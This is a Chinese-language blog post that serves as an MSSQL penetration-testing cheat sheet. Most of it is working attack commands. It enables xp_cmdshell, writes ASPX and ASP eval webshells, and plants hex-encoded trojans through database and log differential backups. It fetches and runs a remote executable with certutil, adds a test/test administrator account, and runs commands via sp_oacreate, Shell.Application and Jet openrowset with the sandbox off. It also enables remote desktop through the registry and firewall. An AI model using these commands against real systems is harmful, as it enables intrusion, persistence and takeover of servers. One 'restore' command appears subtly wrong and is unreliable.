MSSQL渗透测试

发布于 2022-04-07  225 次阅读


前提

  • getshell或者存在sql注入并且能够执行命令
  • sql server是system权限,sql server默认就是system权限

xp_cmdshell

第一种:在SQL Server 2005之前版本中,xp_cmdshell是默认开启的,因此可以直接利用,执行系统命令

exec master..xp_cmdshell 'whoami';

第二种:先判断是否存在xp_cmdshell存储过程,返回1表示存在,否则表示不存在

select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell';

xp_cmdshell是有可能被管理员手动删除的(尤其是SQL Server2005之前默认开启的版本),以下是删除xp_cmdshell的命令:

exec master..sp_dropextendedproc xp_cmdshell;

当然,即使xp_cmdshell被删除,也是有办法恢复xp_cmdshell的:

exec master..xp_dropextendedproc xp_cmdshell,@dllname='xplog70.dll' declare @o int;

注意:再丧心病狂的管理员,可能连xplog70.dll文件都删除,因此需要手动删除该文件,然后使用绝对路径引用即可:

exec master.dbo.sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll的文件绝对路径' declare @o int;

在SQL Server 2005之后的版本中,xp_cmdshell是默认关闭的,因此需要手动开启,但是开启xp_cmdshell需要sa权限,所以还是比较苛刻的

# 允许修改高级参数
exec sp_configure 'show advanced options',1;
# 配置生效
RECONFIGURE;
# 开启xp_cmdshell
exec sp_configure 'xp_cmdshell',1;
# 配置生效
RECONFIGURE;

检查xp_cmdshell是否开启

exec sp_configure;

执行系统命令

exec master..xp_cmdshell 'whoami';

获取webshell,此处注意><符号的转义,网页编码和数据库编码一般是相同的,中文一般都要URL编码

exec master..xp_cmdshell 'echo  ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["pass"],"unsafe");%^> > c:\\WWW\\233.aspx'

获取webshell,通过windows的多种cmd下载文件的方式,下载远程的可执行文件,通过该方式可用于反弹shell

# 下载恶意程序
exec master.dbo.xp_cmdshell 'cd c:\\www & certutil -urlcache -split -f http://ip/file.exe';
执行程序
exec master.dbo.xp_cmdshell 'cd c:\\www & file.exe';

使用结束后,可自行关闭xp_cmdshell

# 开启高级选项
exec sp_configure 'show advanced options',1;
# 配置生效
RECONFIGURE;
# 关闭xp_cmdshell
exec sp_configure 'xp_cmdshell',0;
# 配置生效
RECONFIGURE;

提权

exec master..xp_cmdshell 'net user test test /add'    添加用户test,密码test
exec master..xp_cmdshell 'net localgroup administrators test add'    添加test用户到管理员组

getshell的方法

数据库差异备份getshell

备份拿shell算是常见,但往往备份后包含木马的文件很大。

注意:目标路径必须有写权限

# 查看要创建的临时表是否被占用
IF EXISTS(select table_name from information_schema.tables where table_name='temp') drop table temp;
# 将数据库备份至文件中
backup database db_name to disk = "目标文件路径.bak";
# 创建临时表
create table test (a image);
# 写入木马
insert into test(a) values(0x3C25657865637574652872657175657374282261222929253E);
# 重新备份,木马写入文件
backup database db_name to disk = '目标文件路径.asp' with differential,format;

日志差异备份getshell

可不需要sa权限,如果不能备份,可能是访问权限问题,可切换目录尝试;如果临时表存在也可能导致失败,可先判断临时表是否存在,再尝试。

条件:

  1. 数据库之前备份过
  2. 恢复模式是完整模式
  3. 目标路径有写权限
# 查看要创建的临时表是否被占用
IF EXISTS(select table_name from information_schema.tables where table_name='temp') drop table temp;
# 将数据库的恢复模式设置为完整模式
alter database db_name set RECOVERY FULL;
# 创建临时表
create table temp (a image);
# 备份数据库日志,并写入文件中
backup log db_name to disk = '任意绝对路径.bak' with init;
# 在临时表中插入木马字符串
insert into temp (a) values (0x3C25657865637574652872657175657374282261222929253E);
# 将含有木马字符串的日志备份写入文件中
backup log db_name to disk = '木马的绝对路径.aspx';

sp_oacreate

当xp_cmdshell被删除时,可以尝试使用这个来提权

原理

利用OLE对象接口,SQL Server提供了一些函数访问OLE对象,分别是sp_oacreate和sp_oamethod,可利用它们调用OLE控件,间接获取一个shell

预准备工作

检查OLE Automation Procedures状态

exec sp_configure 'Ole Automation Procedures';

如果config_value和run_value都为0,表示禁用

启用OLE Automation Procedures

# 允许修改高级参数
exec sp_configure 'show advanced options',1;
# 配置生效
reconfigure;
# 开启Ole Automation Procedures
exec sp_configure 'Ole Automation Procedures',1;
# 配置生效
reconfigure;
# 关闭高级参数
exec sp_configure 'show advanced options',0;

wscript.shell

在SQL Server 2008和SQL Server 2000上都适用

# 声明一个变量
declare @shell int;
# 使用sp_oacreate调用wscript对象
exec sp_oacreate 'wscript.shell',@shell output;
# 使用sp_oamethod调用变量的属性run执行系统命令
exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user test test /add';

整合一下:添加用户 test/test

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user test test /add'

整合一下:添加用户到管理员组

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators test /add'

Shell.Application

SQL Server 2008不可用,SQL Server 2000可用

整合一下:添加用户 test/test

declare @o int;
exec sp_oacreate 'Shell.Application', @o out;
exec sp_oamethod @o, 'ShellExecute',null, 'cmd.exe','cmd /c net user test test /add','c:\windows\system32','','1';

sp_makewebtask

SQL Server2008不可用,SQL Server2000可用(未验证)

恢复xp_makewebtask存储过程

exec sp_configure 'Web Assistant Procedures', 1;
RECONFIGURE;

getshell

exec sp_makewebtask 'C:\test1.php','select''<%execute(request("SB"))%>''';

沙盒模式

只有windows xp和windows 2003可用

启用Ad Hoc Distributed Queries

exec sp_configure 'show advanced options',1;
reconfigure;
exec sp_configure 'Ad Hoc Distributed Queries',1;
reconfigure

关闭沙盒模式

0:在任何使用者中禁用启用安全模式

1:仅在允许范围内

2:必须在access模式下

3:完全开启

exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;

读取SandBoxMode[可选]

exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode';

执行系统命令:添加用户 test/test

select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c net user test test /add")');
select * from 
openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select
 shell("cmd.exe /c whoami")')

mssql-远程桌面

  1. 是否开启远程桌面,1表示关闭,0表示开启

    exec master..xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections'
  2. 读取远程桌面端口

    EXEC master..xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal
    Server\WinStations\RDP-Tcp','PortNumber'
  3. 开启远程桌面

    EXEC master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0;
  4. reg文件开启远程桌面

    Windows Registry Editor Version 5.00HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
    Server]"fDenyTSConnections"=dword:00000000[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
    Server\WinStations\RDP-Tcp]"PortNumber"=dword:00000d3d

    保存至1.reg,执行regedit /s 1.reg,即可开启远程桌面

    注意:如果是第一次开启远程桌面,部分需要配置防火墙规则允许远程端口

    netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
  5. 关闭远程桌面

    EXEC master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',1;
Daniel_WRF
最后更新于 2023-09-22